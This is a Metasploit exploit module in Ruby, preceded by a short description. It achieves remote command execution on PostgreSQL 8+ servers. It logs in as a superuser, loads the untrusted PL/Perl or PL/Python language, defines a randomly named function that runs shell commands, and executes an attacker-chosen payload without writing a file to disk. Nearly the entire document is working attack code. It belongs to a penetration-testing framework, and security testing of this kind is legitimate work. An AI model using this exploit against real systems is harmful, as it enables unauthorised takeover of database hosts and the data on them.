Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages. Most commonly this is Perl and Python. When enabled, command execution is possible on the host. To execute system commands, loading the "untrusted" version of the language is necessary. This requires a superuser. This is usually postgres. The execution should be platform-agnostic, and has been tested on OS X, Windows, and Linux. This Metasploit module attempts to load Perl or Python to execute system commands. As this dynamically loads a scripting language to execute commands, it is not necessary to drop a file on the filesystem. Only Postgres 8 and up are supported.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/postgres'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
'Description' => %q(
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
To execute system commands, loading the "untrusted" version of the language is necessary.
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
and has been tested on OS X, Windows, and Linux.
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
Only Postgres 8 and up are supported.
),
'Author' => [
'Micheal Cottingham', # author of this module
'midnitesnake', # the postgres_payload module that this is based on,
'Nixawk' # Improves the module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
['URL', 'https://www.postgresql.org/docs/current/static/plperl.html'],
['URL', 'https://www.postgresql.org/docs/current/static/plpython.html']
],
'Platform' => %w(linux unix win osx),
'Payload' => {
'PayloadType' => %w(cmd)
},
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 1 2016'))
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def postgres_major_version(version)
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
version_match['major_version']
end
def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def vuln_version?
version = postgres_fingerprint
if version[:auth]
major_version = postgres_major_version(version[:auth])
return true if major_version && major_version.to_i >= 8
end
false
end
def login_success?
status = do_login(username, password, database)
case status
when :noauth
print_error "#{peer} - Authentication failed"
return false
when :noconn
print_error "#{peer} - Connection failed"
return false
else
print_status "#{peer} - #{status}"
return true
end
end
def load_extension?(language)
case load_procedural_language(language, 'LANGUAGE')
when :exists
print_good "#{peer} - #{language} is already loaded, continuing"
return true
when :loaded
print_good "#{peer} - #{language} was successfully loaded, continuing"
return true
when :not_exists
print_status "#{peer} - #{language} could not be loaded"
return false
else
print_error "#{peer} - error occurred loading #{language}"
return false
end
end
def exec_function?(func_name)
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
select_query = postgres_query(query)
case select_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} - Exploit failed"
return false
when :complete
print_good "#{peer} - Exploit successful"
return true
else
print_error "#{peer} - Unknown"
return false
end
end
def create_function?(language, func_name)
load_func = ''
case language
when 'perl'
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
query << "`$_[0]`;"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
when /^python(?:2|3)?/i
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
end
case load_func.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} Exploit failed"
return false
when :complete
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
return true
else
print_error "#{peer} - Unknown"
return false
end
end
def load_procedural_language(language, extension)
query = "CREATE #{extension} pl#{language}u"
load_language = postgres_query(query)
return :loaded unless load_language.keys[0] == :sql_error
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
return :exists if match_exists
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
return :not_exists if match_error
end
def do_login(user, pass, database)
begin
password = pass || postgres_password
result = postgres_fingerprint(
db: database,
username: user,
password: password
)
return result[:auth] if result[:auth]
print_status "#{peer} - Login failed"
return :noauth
rescue Rex::ConnectionError
return :noconn
end
end
def exploit
return unless vuln_version?
return unless login_success?
languages = %w(perl python python2 python3)
languages.each do |language|
next unless load_extension?(language)
func_name = Rex::Text.rand_text_alpha(10)
next unless create_function?(language, func_name)
if exec_function?(func_name)
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
break
end
end
postgres_logout if @postgres_conn
end
end